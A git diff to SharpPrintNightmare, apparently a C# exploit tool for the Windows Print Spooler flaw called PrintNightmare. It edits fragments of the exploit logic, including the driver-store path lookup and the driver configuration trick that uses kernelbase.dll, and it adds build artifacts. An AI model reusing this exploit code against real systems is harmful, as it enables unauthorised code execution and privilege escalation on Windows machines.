diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo new file mode 100644 index 0000000..f95017a Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index f787dfc..1397cb4 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -75,7 +75,7 @@ namespace SharpPrintNightmare DRIVER_INFO_2[] drivers = getDrivers(); foreach (DRIVER_INFO_2 driver in drivers) { - //Console.WriteLine(driver.pDriverPath); //debug + //Console.WriteLine(driver.pDriverPath); //debugcd if (driver.pDriverPath.ToLower().Contains("filerepository")) { pDriverPath = driver.pDriverPath; @@ -85,7 +85,7 @@ namespace SharpPrintNightmare //could not find driver path if (pDriverPath == "") { - Console.WriteLine($"[-] [-] pDriverPath {pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); + Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); Console.WriteLine($"[-] Specify pDriverPath manually"); Environment.Exit(1); } @@ -143,7 +143,7 @@ namespace SharpPrintNightmare Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); Marshal.FreeHGlobal(pnt); - //Specify a dll that does not exists in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ + //Dont ask me why this works Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; for (int i = 1; i <= 30; i++) { diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs new file mode 100644 index 0000000..e5dc9b8 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29